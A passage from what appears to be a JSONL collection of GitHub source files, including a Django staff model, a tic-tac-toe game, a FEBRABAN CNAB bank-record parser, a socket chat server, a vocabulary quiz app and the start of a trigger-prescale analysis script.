Position,\n on_delete=models.CASCADE,\n verbose_name=_(u'Должность')\n )\n specialization = models.CharField(\n max_length=255,\n verbose_name=_(u'Специализация')\n )\n master_fired = models.BooleanField(\n choices=MASTER_FIRED,\n default=False,\n verbose_name=_(u'Статус')\n )\n description = models.TextField(\n verbose_name=_(u'Описание')\n )\n\n def get_absolute_url(self):\n return reverse_lazy('staffer:detail', kwargs={'pk': self.pk})\n\n @property\n def avatar_url(self):\n img_url = \"https://ui-avatars.com/api/?size=250&background=564FC1&color=fff&name=%s&font-size=0.4\"\n\n if self.avatar:\n return self.avatar_thumbnail.url\n else:\n return img_url % self.full_name\n\n class Meta:\n verbose_name = _(u'Сотрудник')\n verbose_name_plural = _(u' Сотрудники')\n\n\nclass StafferInfo(CommonAbstractModel):\n UNKNOWN, MEN, WOMAN = 0, 1, 2\n GENDERS = (\n (UNKNOWN, _(u'Неизвестно')),\n (MEN, _(u'Мужской')),\n (WOMAN, _(u'Женский'))\n )\n\n staffer = models.ForeignKey(\n Staffer,\n on_delete=models.CASCADE,\n verbose_name=_(u'Сотрудник')\n )\n date_of_employment = models.DateField(\n null=True,\n blank=True,\n verbose_name=_(u'Дата приема на работу')\n )\n phone_number = models.CharField(\n null=True,\n blank=True,\n max_length=20,\n verbose_name=_(u'Номер телефона')\n )\n gender = models.PositiveSmallIntegerField(\n default=UNKNOWN,\n choices=GENDERS,\n verbose_name=_(u'Пол')\n )\n passport_data = models.TextField(\n null=True,\n blank=True,\n verbose_name=_(u'Паспортные данные')\n )\n iin = models.PositiveSmallIntegerField(\n null=True,\n blank=True,\n verbose_name=_(u'ИИН')\n )\n\n class Meta:\n verbose_name = _(u'Дополнительная информация')\n verbose_name_plural = _(u'Дополнительные информации')\n","repo_name":"Abdubek/salon","sub_path":"src/staffer/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"24700072094","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#logging\nimport os.path\nimport logging\n\n\nlogfile = '/tmp/pyglet_rpg.log'\n\nif os.path.exists(logfile):\n from os import remove\n remove(logfile)\n\nif __debug__:\n handler = logging.StreamHandler()\nelse:\n handler = logging.FileHandler(logfile)\n \n\nlogger = logging.Logger('logger')\n\nformatter = logging.Formatter('%(message)s')\nhandler.setFormatter(formatter)\n\nlogger.addHandler(handler)\nlogger.setLevel(logging.DEBUG)\n\n\ndef print_log(*args):\n\tmessage = ' '.join([str(a) for a in args])\n\tlogger.debug(message)\n\n","repo_name":"insanemainframe/pyglet_rpg","sub_path":"lib/share/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"90"} +{"seq_id":"232862214","text":"\ndef print_board(board):\n print(board[7] + '|' + board[8] + '|' + board[9])\n print(board[4] + '|' + board[5] + '|' + board[6])\n print(board[1] + '|' + board[2] + '|' + board[3])\n\n\ndef player_input():\n marker = ' '\n player1 = ' '\n player2 = ' '\n while marker != 'X' and marker != 'O':\n marker = input('Player1, choose X or O: ')\n player1 = marker\n if player1 == 'X':\n player2 = 'O'\n else:\n player2 = 'X'\n\n return player1, player2\n\n\ndef check_result(board):\n i = 1\n while i < 8:\n if board[i] == board[i+1] == board[i+2] and board[i] != \" \":\n return board[i]\n i = i + 3\n i = 1\n while i < 4:\n if board[i] == board[i+3] == board[i+6] and board[i] != \" \":\n return board[i]\n i = i + 1\n\n if (board[1] == board[5] == board[9] or board[3] == board[5] == board[7]) and board[5] != \" \":\n return board[5]\n\n for i in range(1, 10):\n if board[i] == \" \":\n return \"\"\n\n return \"D\"\n\n\ndef play_game_party():\n board = [' '] * 10\n (player1, player2) = player_input()\n cnt = 0\n print(player1, player2)\n\n while check_result(board) == \"\":\n player = \"Player 1:\"\n if cnt % 2 == 1:\n player = \"Player 2:\"\n\n players_move = \"\"\n while players_move.isnumeric() == False or int(players_move) not in range(0, 10) or board[int(players_move)] != \" \":\n players_move = input(\"Please, enter your move, \" + player)\n players_move = int(players_move)\n cnt += 1\n if cnt % 2 == 1:\n board[players_move] = player1\n else:\n board[players_move] = player2\n\n print_board(board)\n\n print(check_result(board))\n\n if check_result(board) == 'X':\n if player1 == 'X':\n print(\"Player 1 won\")\n else:\n print(\"Player 2 won\")\n if check_result(board) == 'O':\n if player1 == 'O':\n print(\"Player 1 won\")\n else:\n print(\"Player 2 won\")\n if check_result(board) == \"D\":\n print(\"Draw\")\n\n\nwhile True:\n play_game_party()\n new_game = input(\"Do you want to start again?: \")\n if new_game == \"no\":\n break\n","repo_name":"timurovna/Tic-Tac-Toe","sub_path":"Tic Tac Toe 1.py","file_name":"Tic Tac Toe 1.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"26288304431","text":"\nfrom logging import raiseExceptions\nfrom os import abort\n\n\nnum = 10\nname = 'john'\n# print(globals())\n\ndef outer(y):\n x = 3\n a = 10\n def inner(z):\n v = x * y * z\n return v\n return inner \n\n\n# print(outer.__code__.co_cellvars)\n# print(outer.__code__.co_argcount)\n# calculate_num = outer(5)\n# print(calculate_num.__code__.co_freevars)\n# print(calculate_num.__closure__[0].cell_contents)\n# print(calculate_num.__closure__[1].cell_contents)\n\n\n# print(calculate_num(2))\n\n# def call_func(func):\n# count = 1\n\n# def count_func(num):\n# nonlocal count # this must be stated at the beginning of the inner function\n# if count < 4:\n# count += 1\n# return func(num)\n# else:\n# raise AttributeError('Function cannot be called more than four (3) times')\n# return count_func\n\n# x = call_func(lambda num : num * 2)\n# print(x(4))\n# print(x(3))\n# print(x(7))\n\ndef create_generator(array):\n count = 0 \n\n def custom_generator():\n nonlocal count \n if count < len(array):\n value = array[count]\n count += 1\n return value \n else:\n return f'{array[count - 1]} is the last number in the sequence'\n\n return custom_generator\n\ngen = create_generator([1,2,3,4,5,6])\n\ngen()\ngen()\ngen()\ngen()\nprint(gen())\nprint(gen())\nprint(gen())\nprint(gen())\n\n\n","repo_name":"Makeem49/linkedin-flask-tutorial","sub_path":"closure_example/closure_file.py","file_name":"closure_file.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"73616198058","text":"# coding=utf-8\r\n\"\"\"\r\nDesenvolvedor:\tasantos\r\nE-mail:\t\t\tArannã Sousa Santos\r\nMês:\t\t\t04\r\nAno:\t\t\t2015\r\nEmpresa:\t\tTINS - SOLUCOES CORPORATIVAS\r\n\"\"\"\r\n__author__ = u'asantos'\r\n\r\nfrom ...base import (TagCaracter, TagInteiro, TagData, TagDecimal, TXT)\r\nfrom ... import TIPO_REGISTRO, NIVEIS, gera_text, CODIGO_MOEDA\r\n\r\nfrom .controle import Controle\r\nfrom .servico import Servico\r\nfrom .conta_corrente_mantenedora import ContaCorrenteMantenedora\r\nfrom .sacado import Sacado\r\n\r\nclass SegmentoT(TXT):\r\n\tdef __init__(self, lote=u'0001', num_seq=u'00001', segmento=u'T'):\r\n\t\tsuper(SegmentoT, self).__init__()\r\n\r\n\t\tself._lote = lote\r\n\t\tself._num_seq = num_seq\t\t# numero sequencial do registro no lote\r\n\t\tself._segmento = segmento\r\n\r\n\t\t# -------------------------------------------------------------------------------------\r\n\t\t# \tcom essa informacao, eu consigo localizar os dados desse REGISTRO\r\n\t\t# -------------------------------------------------------------------------------------\r\n\t\tself._tipo_registro = TIPO_REGISTRO.SEGMENTO\r\n\r\n\t\tself.controle\t\t\t\t= Controle(lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.servico\t\t\t\t= Servico(lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.conta_corrente_mantenedora\t\t= ContaCorrenteMantenedora(lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.nosso_numero\t\t\t\t\t= TagCaracter(self._tipo_registro, \tu'13.3T', u'nosso_numero',\t\t\t 38, 57, descricao=u'*G069', comentario=u'Identificação do título no banco', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.carteira\t\t\t\t\t\t= TagInteiro(self._tipo_registro, \tu'14.3T', u'carteira',\t\t \t\t 58, 58, descricao=u'*C006', comentario=u'Código da carteira', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.numero_documento\t\t\t\t= TagCaracter(self._tipo_registro, \tu'15.3T', u'numero_documento',\t\t 59, 73, descricao=u'*C011', comentario=u'Número do documento de cobrança', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.vencimento\t\t\t\t\t\t= TagData(self._tipo_registro, \t\tu'16.3T', u'vencimento',\t\t\t 74, 81, descricao=u'*C012', comentario=u'Data do vencimento do título', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.valor_titulo\t\t\t\t\t= TagDecimal(self._tipo_registro, \tu'17.3T', u'valor_titulo',\t\t\t 82, 96, descricao=u'*G070', comentario=u'Valor do título', casas_decimais=2, lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.banco_cobrador_recebedor\t\t= TagInteiro(self._tipo_registro, \tu'18.3T', u'banco_cobrador_recebedor', 97, 99, descricao=u'*C045', comentario=u'Número do banco', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.agencia_cobrador_recebedor\t\t= TagInteiro(self._tipo_registro, \tu'19.3T', u'agencia_cobrador_recebedor', 100, 104, descricao=u'*G008', comentario=u'Agência cobradora/recebedora', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.dv_cobrador_recebedor\t\t\t= TagInteiro(self._tipo_registro, \tu'20.3T', u'dv_cobrador_recebedor', \t105, 105, descricao=u'*G009', comentario=u'Dígito verificador cobrador/recebedor', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.uso_da_empresa\t\t\t\t\t= TagCaracter(self._tipo_registro, \tu'21.3T', u'uso_da_empresa',\t\t106, 130, descricao=u'G072', comentario=u'Identificação do título na empresa', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.codigo_moeda\t\t\t\t\t= TagInteiro(self._tipo_registro, \tu'22.3T', u'codigo_moeda',\t\t\t131, 132, descricao=u'*G065', comentario=u'Código da moeda', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq, valor=CODIGO_MOEDA.REAL)\r\n\t\tself.sacado\t\t\t\t\t\t\t= Sacado(lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.numero_contrato\t\t\t\t= TagInteiro(self._tipo_registro, \tu'26.3T', u'numero_contrato',\t\t189, 198, descricao=u'C030', comentario=u'Número do contrato da operação de crédito', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq, valor=CODIGO_MOEDA.REAL)\r\n\t\tself.valor_tarifo_custas\t\t\t= TagDecimal(self._tipo_registro, \tu'27.3T', u'valor_tarifa_custas',\t199, 213, descricao=u'G076', comentario=u'Valor da tarifa/custas', casas_decimais=2, lote=self._lote, segmento=self._segmento, num_seq=self._num_seq, valor=CODIGO_MOEDA.REAL)\r\n\t\tself.motivo_ocorrencia\t\t\t\t= TagCaracter(self._tipo_registro, \tu'28.3T', u'motivo_ocorrencia',\t\t214, 223, descricao=u'*C047', comentario=u'Motivo da ocorrência', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\t\tself.CNAB293T\t\t\t\t\t\t= TagCaracter(self._tipo_registro, \tu'29.3T', u'CNAB293T',\t\t\t\t224, 240, descricao=u'G004', comentario=u'Uso exclusivo FEBRABAN/CNAB', lote=self._lote, segmento=self._segmento, num_seq=self._num_seq)\r\n\r\n\tdef get_txt(self):\r\n\t\ttxt = u''\r\n\t\ttxt += self.controle.txt\r\n\t\ttxt += self.servico.txt\r\n\t\ttxt += self.conta_corrente_mantenedora.txt\r\n\t\ttxt += self.nosso_numero.txt\r\n\t\ttxt += self.carteira.txt\r\n\t\ttxt += self.numero_documento.txt\r\n\t\ttxt += self.vencimento.txt\r\n\t\ttxt += self.valor_titulo.txt\r\n\t\ttxt += self.banco_cobrador_recebedor.txt\r\n\t\ttxt += self.agencia_cobrador_recebedor.txt\r\n\t\ttxt += self.dv_cobrador_recebedor.txt\r\n\t\ttxt += self.uso_da_empresa.txt\r\n\t\ttxt += self.codigo_moeda.txt\r\n\t\ttxt += self.sacado.txt\r\n\t\ttxt += self.numero_contrato.txt\r\n\t\ttxt += self.valor_tarifo_custas.txt\r\n\t\ttxt += self.motivo_ocorrencia.txt\r\n\t\ttxt += self.CNAB293T.txt\r\n\t\treturn txt\r\n\r\n\tdef set_txt(self, arquivo):\r\n\t\tif self._le_txt(arquivo):\r\n\t\t\tself.controle.txt = arquivo\r\n\t\t\tself.servico.txt = arquivo\r\n\t\t\tself.conta_corrente_mantenedora.txt = arquivo\r\n\t\t\tself.nosso_numero.txt = arquivo\r\n\t\t\tself.carteira.txt = arquivo\r\n\t\t\tself.numero_documento.txt = arquivo\r\n\t\t\tself.vencimento.txt = arquivo\r\n\t\t\tself.valor_titulo.txt = arquivo\r\n\t\t\tself.banco_cobrador_recebedor.txt = arquivo\r\n\t\t\tself.agencia_cobrador_recebedor.txt = arquivo\r\n\t\t\tself.dv_cobrador_recebedor.txt = arquivo\r\n\t\t\tself.uso_da_empresa.txt = arquivo\r\n\t\t\tself.codigo_moeda.txt = arquivo\r\n\t\t\tself.sacado.txt = arquivo\r\n\t\t\tself.numero_contrato.txt = arquivo\r\n\t\t\tself.valor_tarifo_custas.txt = arquivo\r\n\t\t\tself.motivo_ocorrencia.txt = arquivo\r\n\t\t\tself.CNAB293T.txt = arquivo\r\n\r\n\ttxt = property(get_txt, set_txt)\r\n\r\n\tdef get_alertas(self):\r\n\t\talertas = []\r\n\t\talertas.extend(self.controle.alertas)\r\n\t\talertas.extend(self.servico.alertas)\r\n\t\talertas.extend(self.conta_corrente_mantenedora.alertas)\r\n\t\talertas.extend(self.nosso_numero.alertas)\r\n\t\talertas.extend(self.carteira.alertas)\r\n\t\talertas.extend(self.numero_documento.alertas)\r\n\t\talertas.extend(self.vencimento.alertas)\r\n\t\talertas.extend(self.valor_titulo.alertas)\r\n\t\talertas.extend(self.banco_cobrador_recebedor.alertas)\r\n\t\talertas.extend(self.agencia_cobrador_recebedor.alertas)\r\n\t\talertas.extend(self.dv_cobrador_recebedor.alertas)\r\n\t\talertas.extend(self.uso_da_empresa.alertas)\r\n\t\talertas.extend(self.codigo_moeda.alertas)\r\n\t\talertas.extend(self.sacado.alertas)\r\n\t\talertas.extend(self.numero_contrato.alertas)\r\n\t\talertas.extend(self.valor_tarifo_custas.alertas)\r\n\t\talertas.extend(self.motivo_ocorrencia.alertas)\r\n\t\talertas.extend(self.CNAB293T.alertas)\r\n\t\treturn alertas\r\n\r\n\talertas = property(get_alertas)\r\n\r\n\tdef get_text(self):\r\n\t\ttxt = gera_text(NIVEIS.N2, unicode(__name__) + u'\\n')\r\n\t\ttxt += self.controle.text\r\n\t\ttxt += self.servico.text\r\n\t\ttxt += self.conta_corrente_mantenedora.text\r\n\t\ttxt += gera_text(NIVEIS.N3, self.nosso_numero.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.carteira.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.numero_documento.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.vencimento.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.valor_titulo.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.banco_cobrador_recebedor.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.agencia_cobrador_recebedor.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.dv_cobrador_recebedor.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.uso_da_empresa.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.codigo_moeda.text)\r\n\t\ttxt += self.sacado.text\r\n\t\ttxt += gera_text(NIVEIS.N3, self.numero_contrato.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.valor_tarifo_custas.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.motivo_ocorrencia.text)\r\n\t\ttxt += gera_text(NIVEIS.N3, self.CNAB293T.text)\r\n\r\n\t\treturn txt\r\n\r\n\ttext = property(get_text)\r\n\r\n\t@property\r\n\tdef segmentoCorreto(self):\r\n\t\t\"\"\"\r\n\t\tCheca se o dado passado é deste segmento mesmo\r\n\r\n\t\t\"\"\"\r\n\t\treturn self.servico.segmento.valor == self._segmento and \\\r\n\t\t\t unicode(self.controle.registro.valor) == self._tipo_registro","repo_name":"arannasousa/pyfebraban","sub_path":"febraban/segmentos/segmentoT/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8531,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"} +{"seq_id":"16395638442","text":"from gpiozero import Button\nfrom signal import pause\n\nbutton = Button(4)\n\n\n# Función que se ejecuta cuando el botón se pulsa\ndef btn_pulsado():\n print(\"El botón se ha pulsado\")\n\n\n# Función que se ejecuta cuando el botón se suelta\ndef btn_soltado():\n print(\"El botón se ha soltado\")\n\n\n# Asignamos las funciones a las acciones del botón\nbutton.when_pressed = btn_pulsado\nbutton.when_released = btn_soltado\n\n# Mantenemos el programa pausado\n# Las acciones del botón se procesan de fondo\n# No necesario si lo ejecutamos desde intérprete\n# Finalizar con Ctrl+C\npause()\n","repo_name":"python-vigo/charlas","sub_path":"2019-03-21 - Raspberry y GPIO con gpiozero [charla] - David Lorenzo/2-Pulsadores/0_pulsador.py","file_name":"0_pulsador.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"es","doc_type":"code","stars":15,"dataset":"github-code","pt":"90"} +{"seq_id":"10034256581","text":"from setuptools import setup\n\nVERSION = '1.0.0'\n\ndef readme():\n with open(\"README.md\") as f:\n return f.read()\n\n\nsetup(\n name=\"backup-rds\",\n version=VERSION,\n description=\"Make a database backup from RDS\",\n long_description_content_type=\"text/markdown\",\n long_description=readme(),\n keyword=\"Download Amazon AWS RDS\",\n url=\"https://github.com/danilocgsilva/backup_aws_rds\",\n author=\"Danilo Silva\",\n author_email=\"contact@danilocgsilva.me\",\n packages=[\"backup_rds\"],\n entry_points={\"console_scripts\": [\"rdsaccess=backup_rds.__main__:main\"]},\n include_package_data=True\n)\n","repo_name":"danilocgsilva/backup_aws_rds","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"43348757949","text":"from gtts import gTTS\nfrom playsound import playsound\n\nimport random\n\n\nclass Wordbook:\n num = 0\n ok = 0\n def __init__(self, wordList : [], wordBook : []):\n self.wordList = wordList\n self.wordBook = wordBook\n\n def addWord(self, word):\n self.wordList.append(word)\n\n def makeProblem(self):\n random.shuffle( self.wordList )\n return Problem(self.wordList)\n\n def add(self, eng, kr):\n word = self.find(eng, kr)\n if word is None:\n self.wordList.append(Word(eng, kr))\n elif not word.ansList.__contains__(kr):\n word.ansList.append(kr)\n\n def find(self, eng):\n for word in self.wordList:\n if word.eng == eng:\n return word\n return None\n\n\nclass Word:\n def __init__(self, eng, kor, state = 0):\n self.eng = eng\n self.ansList = []\n self.ansRecord = {} # { [ kor ] = [ count : int , isRight : boolean] }\n self.state = state\n self.addAns(kor)\n def addAns(self, kor : str):\n spList = kor.split(',')\n for i in range(len(spList)):\n newAns = spList[i].lstrip()\n if self.ansList.__contains__(newAns):\n continue\n else:\n self.ansList.append(newAns)\n self.ansRecord[newAns] = [0, True]\n\n self.kor = ', '.join(self.ansList)\n\n def addRecord(self, key):\n value = self.ansRecord.get(key)\n if value:\n self.ansRecord[key][0] += 1\n else:\n self.ansRecord[key] = [1, False]\n #print(\"%s : %s\" %(key, str(self.ansRecord[key])))\n return self.ansRecord[key]\n\n def makeQuiz(self, wordbook : [], radiosize = 9):\n checklist = []\n\n while checklist.__len__() < radiosize:\n word = random.choice(wordbook)\n kor = random.choice(word.ansList)\n if self.ansList.__contains__(kor) or checklist.__contains__(kor):\n continue\n else:\n checklist.append(kor)\n\n anslist = []\n while anslist.__len__() < self.ansList.__len__():\n ans = random.randrange(0, radiosize)\n if anslist.__contains__(ans):\n continue\n else:\n anslist.append(ans)\n\n index = 0\n for ans in anslist:\n checklist[ans] = self.ansList[index]\n index += 1\n\n tp = (anslist, checklist, self)\n\n return tp\n\n\nclass DayState: #요놈을 폴더에서 읽을때 초기화 하여 경로 지정하자/\n list = (1, 3, 7, 30)\n listName = (\"prob/\", \"prob/3day/\", \"prob/7day\", \"prob/30day\")\n\n def __init__(self, index):\n self.index = index\n\n def getDay(self):\n return DayState.list[self.index]\n\n\nclass Problem:\n '''\n 시험 단어, 주관식 보기, 음성 출력기능 등 문제 관련 데이터 클래스\n '''\n def __init__(self, wordList : [] , time , wordBook : [] ):\n self.time = time\n #self.file\n #self.path = \"prob/\"+self.time\n self.wordList = wordList\n self.wordBook = wordBook\n self.quizBook = self.makeQuizBook()\n\n def makeQuizBook(self):\n quizBook = {}\n for word in self.wordList:\n quizBook[word.eng] = word.makeQuiz(self.wordBook)\n return quizBook\n\n def exam(self):\n results = []\n for key in self.quizBook.keys():\n print(key+\":\")\n self.printQuiz(key)\n ans = self.inputLine(input(\"ans List : \"))\n results.append(self.makeResult(key, ans))\n\n return results\n\n def printQuiz(self, key):\n index = 1\n sound = gTTS(key)\n sound.save(f'mp3/{key}.mp3')\n playsound(f'mp3/{key}.mp3')\n playsound(f'mp3/{key}.mp3')\n for radio in self.quizBook.get(key)[1]:\n print(\"%d. %s \" %(index, radio), end=\"\")\n index += 1\n print()\n\n def inputLine(self, ip : str):\n ansList = []\n for c in ip:\n if c.isdigit() and not ansList.__contains__(int(c)-1):\n ansList.append(int(c)-1)\n else:\n continue\n print()\n\n return ansList\n\n def makeResult(self, key, inputs: list):\n '''\n :param key:\n :param inputs:\n :return result : dict{ \"eng\", \"inputs\", \"ans\", \"kor\", \"nextState\" }\n '''\n result = {\"eng\" : key , \"inputs\" : inputs, \"nextState\" : 0}\n right = True\n quiz = self.quizBook.get(key)\n result[\"ans\"] = quiz[0]\n korlist = result[\"kor\"] = quiz[1]\n word = quiz[2]\n for i in inputs:\n record = word.addRecord(korlist[i])\n if not record[1]: #if != ans\n right = False\n if right:\n result[\"nextState\"] = word.state + 1\n elif word.state:\n result[\"nextState\"] = word.state - 1\n\n return result\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n print()\n\n","repo_name":"thom17/Dict","sub_path":"wordbook.py","file_name":"wordbook.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"38168864288","text":"\n#Codigo del sercidor\n\nimport socket\nimport threading\nimport json\nimport time\nimport base64\n\n# Configura el servidor\nHOST = 'localhost'\nPORT = 8090\n\n# Lista para almacenar los clientes\nclientes = []\nnombres_clientes = []\n\n# Función para manejar conexiones de clientes\ndef manejar_cliente(cliente_socket):\n try:\n nombre = cliente_socket.recv(1024).decode('utf-8')\n nombre = nombre.strip() # Elimina espacios en blanco al principio y al final del nombre\n nombres_clientes.append(nombre)\n\n mensaje_bienvenida = f\"{nombre} se ha unido al chat!\"\n mensaje_bienvenida = \"MENSAJEGRUPAL:\" + mensaje_bienvenida\n broadcast(mensaje_bienvenida)\n print(mensaje_bienvenida)\n \n while True:\n #Recibir los mensajes del cliente, 1024 es la cantidad maxima de bytes que se recibiran a la vez, .decode transforma esos bytes a cadenas de texto\n mensaje = cliente_socket.recv(1024).decode('utf-8')\n if mensaje.startswith(\"DESCONECTAR:\"):\n nombre_cliente = mensaje[13:]\n\n #Eliminar el nombre del cliente desconectado de la lista que se manda al usuario\n nombres_clientes.remove(nombre_cliente)\n mensaje_despedida = f\"{nombre} se ha desconectado.\"\n mensaje_despedida = \"MENSAJEGRUPAL:\" + mensaje_despedida\n broadcast(mensaje_despedida)\n\n #Eliminar el hilo del cliente desconectado\n clientes.remove(cliente_socket) \n break\n\n elif mensaje.startswith(\"NOTIFICACIONCHATPRIVADO:\"):\n mensaje = mensaje[24:]\n mensaje_json = json.loads(mensaje)\n nombre_destinatario = mensaje_json[\"destinatario\"]\n notificacion_cp = mensaje_json[\"mensaje\"]\n notificacion_cp = \"MENSAJEGRUPAL:\" + notificacion_cp\n indice_destinatario = nombres_clientes.index(nombre_destinatario)\n socket_destinatario = clientes[indice_destinatario]\n socket_destinatario.send(notificacion_cp.encode('utf-8'))\n\n elif mensaje.startswith(\"MENSAJEPRIVADO:\"):\n mensaje = mensaje[15:]\n mensaje_json = json.loads(mensaje)\n nombre_destinatario = mensaje_json[\"destinatario\"]\n mensaje_privado = mensaje_json[\"mensaje\"]\n mensaje_con_nombre = f\"{nombre}: {mensaje_privado}\"\n print(mensaje_privado)\n indice_destinatario = nombres_clientes.index(nombre_destinatario)\n socket_destinatario = clientes[indice_destinatario]\n mensaje_json = {\n \"remitente\" : nombre,\n \"mensaje\" : mensaje_con_nombre\n }\n mensaje_json = json.dumps(mensaje_json)\n socket_destinatario.send((\"MENSAJEPRIVADO:\" + mensaje_json).encode('utf-8'))\n\n elif mensaje.startswith(\"ENVIARARCHIVO:\"):\n mensaje = mensaje[14:]\n mensaje_json = json.loads(mensaje)\n nombre_destinatario = mensaje_json[\"destinatario\"]\n archivos_info = mensaje_json[\"archivos\"] # Cambiar \"archivo\" a \"archivos\"\n indice_destinatario = nombres_clientes.index(nombre_destinatario)\n socket_destinatario = clientes[indice_destinatario]\n\n for archivo in archivos_info:\n nombre_archivo = archivo[\"nombre\"]\n contenido_archivo = archivo[\"contenido\"].encode('latin1') # Codificar el contenido como bytes\n\n mensaje_json = {\n \"remitente\": nombre,\n \"archivo\": {\n \"nombre\": nombre_archivo,\n \"contenido\": contenido_archivo.decode('latin1') # Decodificar el contenido binario a una cadena\n },\n \"mensaje\": f\"{nombre}: te ha enviado un archivo!\"\n }\n mensaje_json = json.dumps(mensaje_json)\n socket_destinatario.send((\"MENSAJEPRIVADO:\" + mensaje_json).encode('utf-8'))\n \n elif mensaje.startswith(\"MENSAJEGRUPAL:\"): \n mensaje_con_nombre = f\"{nombre}: {mensaje[14:]}\"\n \n for cliente in clientes:\n if cliente != cliente_socket:\n try:\n cliente.send((\"MENSAJEGRUPAL:\" + mensaje_con_nombre).encode('utf-8'))\n except:\n continue\n except:\n clientes.remove(cliente_socket)\n \n\n# Función para enviar un mensaje a todos los clientes\ndef broadcast(mensaje):\n for cliente in clientes:\n #if cliente != remitente:\n try:\n cliente.send(mensaje.encode('utf-8'))\n except:\n continue\n\n#Función para mandar los usuarios periodicamente\ndef enviar_lista_clientes():\n while True:\n lista_nombres = {\n \"usuarios\" : nombres_clientes\n }\n usuarios = json.dumps(lista_nombres)\n etiqueta = \"usuarios:\"+ usuarios\n broadcast(etiqueta)\n\n time.sleep(10)\n\n\n\n\n\n# Configura el servidor y espera conexiones\n #AF_INET - Especificar protocolo IPV4, SOCK_STREAM - Espercificar que será un socket TCP\nservidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #Enlazar una direccion y puerto al servidor\nservidor.bind((HOST, PORT))\n #Comenzar a escuchar conexiones entrantes, se pasa como parametro el numero maximo de conexiones permitidas\nservidor.listen(5)\nprint(f\"Servidor escuchando en {HOST}:{PORT}\")\n\nwhile True:\n #Cuando un cliente se conecta, accept() devuelve un nuevo objeto de socket llamado cliente y este se guarda en la lista de clientes\n cliente, direccion = servidor.accept()\n clientes.append(cliente)\n\n #Crear un hilo que manda llamar la funcion de manejar cliente para ese cliente en especifico\n cliente_thread = threading.Thread(target=manejar_cliente, args=(cliente,))\n cliente_thread.start()\n\n #Crear un hilo que se ejecute en segundo plano para mandar la lista de usuarios conectados\n enviar_lista = threading.Thread(target=enviar_lista_clientes)\n enviar_lista.daemon = True\n enviar_lista.start()\n","repo_name":"samysomo/bubbles","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6346,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"29058915820","text":"import supy,steps,calculables,samples,ROOT as r\n\nclass prescales2(supy.analysis) :\n def mutriggers(self) : # L1 prescaling evidence\n ptv = { 12 :(1,2,3,4,5), # 7,8,11,12\n 15 :(2,3,4,5,6,8,9), # 12,13\n 20 :(1,2,3,4,5,7,8),\n 24 :(1,2,3,4,5,7,8,11,12),\n 24.21:(1,),\n 30 :(1,2,3,4,5,7,8,11,12),\n 30.21:(1,),\n 40 :(1,2,3,5,6,9,10),\n 40.21:(1,4,5),\n }\n return sum([[(\"HLT_Mu%d%s_v%d\"%(int(pt),\"_eta2p1\" if type(pt)!=int else \"\",v),int(pt)+1) for v in vs] for pt,vs in sorted(ptv.iteritems())],[])\n\n def unreliableTriggers(self) :\n '''Evidence of L1 prescaling at these ostensible prescale values'''\n return { \"HLT_Mu15_v9\":(25,65),\n \"HLT_Mu20_v8\":(30,),\n \"HLT_Mu24_v8\":(20,25),\n \"HLT_Mu24_v11\":(35,),\n \"HLT_Mu24_v12\":(35,),\n \"HLT_Mu30_v8\":(4,10),\n \"HLT_Mu30_v11\":(4,20),\n \"HLT_Mu30_v12\":(8,20),\n \"HLT_Mu40_v6\":(4,),\n \"HLT_Mu40_v9\":(10,),\n \"HLT_Mu40_v10\":(10,)\n }\n\n def parameters(self) :\n return {\"muon\" : 